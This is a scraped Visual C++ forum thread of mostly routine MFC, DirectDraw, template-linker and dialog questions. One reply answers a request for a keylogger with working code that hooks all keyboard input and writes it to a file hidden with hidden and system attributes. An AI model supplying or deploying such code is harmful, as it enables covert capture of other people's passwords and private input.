|
Hook the DrawText and TextOut
The word of the day is legs, let's go back to my house and spread the word
|
|
|
|
|
Over the past months ive been studying the protocol a certain game uses. And now i think its using DirectPlay to establish connections and all. Now i was wondering, do you think it would be possible for me to make a bot for the game, i mean, i got most of the games protocol figured out, but i'm stuck on the directplay connection part, since i cant seem to find many tuts or samples about it out there, and the game uses DirectX7 or earlier so i'm not sure if directplay still works the same way, but i downloaded the directx 7 sdk just in case. But when i use the sample client/server and log the network packets, it does completely different things.. Also, i picked up that ur game needs to have some sort of GUID which is like a unique number to identify the game, so i would have to get that from my game right? but that shouldnt be too hard since it should be sent everytime a connection is established right? All tips, comments and suggestions are very welcome.
Thank you.
Kuniva
--------------------------------------------
|
|
|
|
|
When I'm creating an application with VC++ MFC and create a menu in it,
the application works fine, BUT.....
I don't see the accelerator key; example I use &File, so the capital must be
have a underscore, it is simple not there when I'm running the application.
When I press Alt-F, the underscore is available.
Have somebody the same problem ? and maybe a solution ?
|
|
|
|
|
Sorry folks,
found already the solution: Same issue with W2000
========================================================================
Are you running XP or 98?
If you are using XP, the Accelerator keys are not underlined until you press the alt key.
To disable this feature:
From the control panel click on "Display"
Click on the "Appearance" Tab
Click on the [Effects...] button
Uncheck "Hide underlined letters for keyboard navigations until I press the Alt key"
========================================================================
|
|
|
|
|
How do you make a key logger, though I'm new to key loggers, I'm not new to Windows programming. Can someone tell me how, maybe suggestions, articles, sites, I would appreciate all the help I get.
I have always had my suspicions about VB
|
|
|
|
|
You can develop a keylogger using windows Hooks. Windows Hooks provides a mechanism to intercept messages before they reach the target window. You install keyboard hook and speicifes the procedure which is called on that message..
<br />
BOOL WINAPI InstallHook(BOOL overwrite)<br />
{<br />
if(overwrite)
{<br />
SetFileAttributes((LPCTSTR)filename,<br />
FILE_ATTRIBUTE_ARCHIVE);<br />
f1 = fopen(filename, "w");<br />
fclose(f1);<br />
}<br />
SetFileAttributes((LPCTSTR)filename,<br />
FILE_ATTRIBUTE_HIDDEN|<br />
FILE_ATTRIBUTE_SYSTEM);<br />
hkb = SetWindowsHookEx(WH_KEYBOARD,<br />
(HOOKPROC)KeyboardProc,hInstance,0);<br />
return TRUE;<br />
}<br />
<br />
<br />
LRESULT WINAPI CALLBACK KeyboardProc(<br />
int nCode, WPARAM wParam,<br />
LPARAM lParam)<br />
{<br />
char ch;<br />
char locname[80];<br />
strcpy(locname,filename);<br />
if (((DWORD)lParam & 0x40000000<br />
&&(HC_ACTION==nCode))<br />
{<br />
if((wParam==VK_SPACE)||<br />
(wParam==VK_RETURN)||<br />
(wParam>=0x2f ) &&<br />
(wParam<=0x100))<br />
{<br />
f1=fopen(locname,"a+");<br />
if (wParam==VK_RETURN)<br />
{<br />
ch='\n';<br />
fwrite(&ch,1,1,f1);<br />
}<br />
else<br />
{<br />
BYTE ks[256];<br />
GetKeyboardState(ks);<br />
WORD w;<br />
UINT scan;<br />
scan=0;<br />
ToAscii(wParam,scan,<br />
ks,&w,0);<br />
ch =char(w);<br />
fwrite(&ch,1,1,f1);<br />
}<br />
fclose(f1);<br />
}<br />
}<br />
LRESULT RetVal = CallNextHookEx(<br />
hkb, nCode, wParam, lParam );<br />
return RetVal;<br />
}<br />
<br />
Hope that helps
Muhammad Shoaib Khan
http://geocities.com/lansolution
|
|
|
|
|
To install a global key hook, you would have to put the keyboard hooking procedure in a DLL. The MSDN docs explains this in detail, and I think here are some articles here at CP which shows you how to do it if I remember correctly.
--
You copy and paste yourself into my brain.
You always find your way back into my brain.
|
|
|
|
|
Hello,
I'm developing a simple application to retrieve and display information from a user. There will be three full screen windows (only one open at a time). The screens will be dialog based (buttons, text boxes etc).
My question is this: Is it possible to create a MFC SDI and have single dialog child windows displayed one at a time, ie, I want a main frame (caption, toolbar etc) with a child dialog window, (maybe "child" is used in a wrong context here).
I'm a software engineering degree student and I have just started to use VC++.
Thanks in advance;)
|
|
|
|
|
|
A big thanks from Ireland
|
|
|
|
|
Hi there,
I have a dialog based application which uses a property sheet with several pages. I set the size for the Property sheet view when the pages are created to adjust the page size according to the display resolution.
However it is also necessary to change the page size when switching the windows system font size from small to large fonts.
But now my problem: How can I get the used system font size? (Small / Large)
Thank you for your help.
|
|
|
|
|
Heya,
This problem's been dogging me for a couple days already, so I'm asking you guys.
As you can see from the code below, I'm trying to implement a DirectDraw wrapper. One of my design goals is that the wrapper should automatically handle window size and resizing without relying on adding function calls and so on to track it in WinMain or in my WindProc.
I decided to solve this problem by simply comparing the client rect this frame to the client rect as it existed last frame. I even overloaded the != operator just so I could do it.
In theory, by simply calling GetClientScreenRect() I can get the screen coordinates of the client rect so that it can directly be used for blitting from a 'fake' DirectDraw backbuffer. Also, in theory, I could compare it to the client/screen rect from last frame to check to see if it's been resized. I could then set the window back to it's proper size using the SetWindowSize() function.
Each function appears to work fine independent of each other, but when I call SetWindowSize() before I call GetClientScreenRect(), ClientToScreen() returns some values that can only be described as "wonky".
In the example, below, I want 640x480 as the client area (m_iScreenX and Y). SetWindowSize() appears to work fine and the next time I call GetClientRect() in GetClientScreenRect(), it returns the values I'd expect (left and top == 0, right == 640, bottom == 480). But when I pass those coordinates in to ClientToScreen(), it returns the following rect: left == -32764, top == -32718, right == -32124, bottom == -32238. Even more curiously, if I subtract right - left and bottom - top, my requested client area pops out: 640x480.
Can anyone tell me why this is happening?
<br />
void CDirectDrawWrapper::SetWindowSize()<br />
{<br />
WINDOWINFO winfo;<br />
winfo.cbSize = sizeof(WINDOWINFO);<br />
if (GetWindowInfo(m_hWnd, &winfo))<br />
{<br />
RECT rectWindow;<br />
rectWindow.top = rectWindow.left = 0;<br />
rectWindow.right = m_iScreenX;<br />
rectWindow.bottom = m_iScreenY;<br />
<br />
AdjustWindowRectEx(&rectWindow, winfo.dwStyle, GetMenu(m_hWnd) != NULL,<br />
winfo.dwExStyle);<br />
<br />
MoveWindow(m_hWnd, CW_USEDEFAULT, CW_USEDEFAULT, <br />
rectWindow.right - rectWindow.left,<br />
rectWindow.bottom - rectWindow.top, FALSE);<br />
}<br />
}<br />
<br />
bool CDirectDrawWrapper::GetClientScreenRect(LPRECT pRect)<br />
{<br />
if (pRect)<br />
{<br />
GetClientRect(m_hWnd, pRect);<br />
<br />
if (ClientToScreen(m_hWnd, (POINT*)&pRect->left) && <br />
ClientToScreen(m_hWnd, (POINT*)&pRect->right))<br />
{<br />
return true;<br />
}<br />
}<br />
<br />
return false;<br />
}<br />
Thanks in advance,
DoomGaze
|
|
|
|
|
#pragma once
template<typename ty="">
class dzeta
{
Ty xval;
public:
dzeta(void);
virtual ~dzeta(void);
friend GetVal( const dzeta<ty>& );
friend GetVal2(const dzeta<ty>& DzA, const dzeta<ty>& DzB); //{return DzA.xval + DzB.xval;} /* works this way!! */
};
#include "StdAfx.h"
#include ".\dzeta.h"
template<typename ty="">
dzeta<ty>::dzeta(void)
{
}
template<typename ty="">
dzeta<ty>::~dzeta(void)
{
}
template<typename ty="">
GetVal( const dzeta<ty>& Dz)
{
return Dz.xval;
}
template<typename ty="">
GetVal2(const dzeta<ty>& DzA, const dzeta<ty>& DzB)
{
return DzA.xval + DzB.xval;
}
// USING THIS CLASS
dzeta<int> DzetaA, DzetaB;
int dzVals = GetVal2(DzetaA, DzetaB);
ERROR - LINKER - VC7.1 (Visual Studio 2003)
Compiling resources...
Linking...
GenPermut.obj : error LNK2019: unresolved external symbol "int __cdecl GetVal2(class dzeta<int> const &,class dzeta<int> const &)" (?GetVal2@@YAHABV?$dzeta@H@@0@Z) referenced in function _main
Debug/GenPermut.exe : fatal error LNK1120: 1 unresolved externals
It works ever using VC6 and VC 7.0 (Visual Studio 2002)
This message from LINKER is displayed in every case using template classes!
|
|
|
|
|
What are the return types of the friend functions?
Kuphryn
|
|
|
|
|
CLASS:
#pragma once
template<typename ty="">
class dzeta
{
Ty xval;
public:
dzeta(void);
virtual ~dzeta(void);
friend Ty GetVal( const dzeta<ty>& );
friend Ty GetVal2(const dzeta<ty>& DzA, const dzeta<ty>& DzB);
};
Operations:
#include "StdAfx.h"
#include ".\dzeta.h"
template<typename ty="">
dzeta<ty>::dzeta(void)
{
}
template<typename ty="">
dzeta<ty>::~dzeta(void)
{
}
template<typename ty="">
Ty GetVal( const dzeta<ty>& Dz)
{
return Dz.xval;
}
template<typename ty="">
Ty GetVal2(const dzeta<ty>& DzA, const dzeta<ty>& DzB)
{
return DzA.xval + DzB.xval;
Declarations:
dzeta<int> DzetaA, DzetaB;
int dzVals = GetVal2(DzetaA, DzetaB);
int dzVal1 = GetVal(DzetaB);
}
Compiling resources...
Linking...
GenPermut.obj : error LNK2019: unresolved external symbol "int __cdecl GetVal(class dzeta<int> const &)" (?GetVal@@YAHABV?$dzeta@H@@@Z) referenced in function _main
GenPermut.obj : error LNK2019: unresolved external symbol "int __cdecl GetVal2(class dzeta<int> const &,class dzeta<int> const &)" (?GetVal2@@YAHABV?$dzeta@H@@0@Z) referenced in function _main
Debug/GenPermut.exe : fatal error LNK1120: 2 unresolved externals
======
Default return was int and it works, but LINKAGE ERRORs disappear when:
#pragma once
template<typename ty="">
class dzeta
{
Ty xval;
public:
dzeta(void);
virtual ~dzeta(void);
friend Ty GetVal( const dzeta<ty>& Dz) {return Dz.xval;}
friend Ty GetVal2(const dzeta<ty>& DzA, const dzeta<ty>& DzB){return DzA.xval + DzB.xval;}
};
Generating Code...
Compiling resources...
Linking...
Build log was saved at "file://d:\VSProjects\v71\GenPermut\Debug\BuildLog.htm"
GenPermut - 0 error(s), 0 warning(s)
---------------------- Done ----------------------
Rebuild All: 1 succeeded, 0 failed, 0 skipped
|
|
|
|
|
hello,
i want to write a frontend for an audio encoder.
is there a way to start the encoder exe with the desired cmd line parameters and wait for its completion before starting the next encoding process?
thx!
|
|
|
|
|
Yes, but I can not remember the function name(s) right now. Since the question has been asked by other people in the past, I reccomend you check the FAQs and look for articles or totorials at codeproject. Also search MSDN library, that is where I found the information the one time I needed to do this.
INTP
|
|
|
|
|
:-DJust spoted this FAQ:
http://www.codeproject.com/system/newbiespawn.asp?target=FAQ
Enjoy!
INTP
|
|
|
|
|
thx man! i think my search methods suck...
|
|
|
|
|
Hi! I have a dialog with a Webbrowser activeX control. When I start a file download (Using save as in the context menu) the download dialog starts as expected. If I close my dialog however, the file download is also cancelled. Can someone explain why this is and how I should change my app to get the file dialog to stay alive after my app is closed.
Cheers
Dom
p.s. VC++ 6.0, Modal dialog.
|
|
|
|
|
Your app is the parent and when you close the parent all child processes and associated windows should also close. On solution may be to just hide (or minimize) the app when close is selected and let it wait until the download is complete or an error occurs, then finish closing the app.
INTP
|
|
|
|
|
I kind of thought that was going on. Any ideas how Internet Explorer does it?
Cheers
D
|
|
|
|
|
I do not know it you can shut down internet explorer with out canceling the download. The dialog that is showing the download progress is not a modal dialog and therefore you do not have to close it in order for you to do other tasks in your application. If you wanted to you could create a seperate app to do the download then launch it from your main app, that way it is just anouther program running in its' own thread.
I reccommend you look at the codeproject home page and look for aticles on dialogs under the "MFC controls" section.
INTP
|
|
|
|
|
Hi! I have a dialog in my application that has a beginners version with all the controls spaced out with text explaining what they do. I want the user to be able to check a box and get a different view of the same dialog with the same controls layed out more compactly. I can do this in a longwinded way by doing SetWindowPos() on all the controls, but I was wondering if there is a way to do this by designing the form in the form designer and changing which one is used at runtime.
Cheers
Dom
|
|
|
|
|
It sounds like you could just design 2 different dialogs containing the same controls with a different layout for both. You just needed to design your CDialog derived classes constructor to take an resource ID and maintian a variable some where that holds the curent ID to use.
There is the second option of placing the controls on top of each other and give them IDs like IDC_LISTBOX1, IDC_LISTBOX2. Then show controls with IDs ending with 1 when box is unchecked and show controls with IDs ending with 2 when box is checked. I see problems with this method: (1) you need to create 2 version of each command handler for each ID (1 & 2) [or manualy change the message map to direct commands to the same handle], (2) the more compact layout will probably require a dialog size change.
INTP
|
|
|
|
|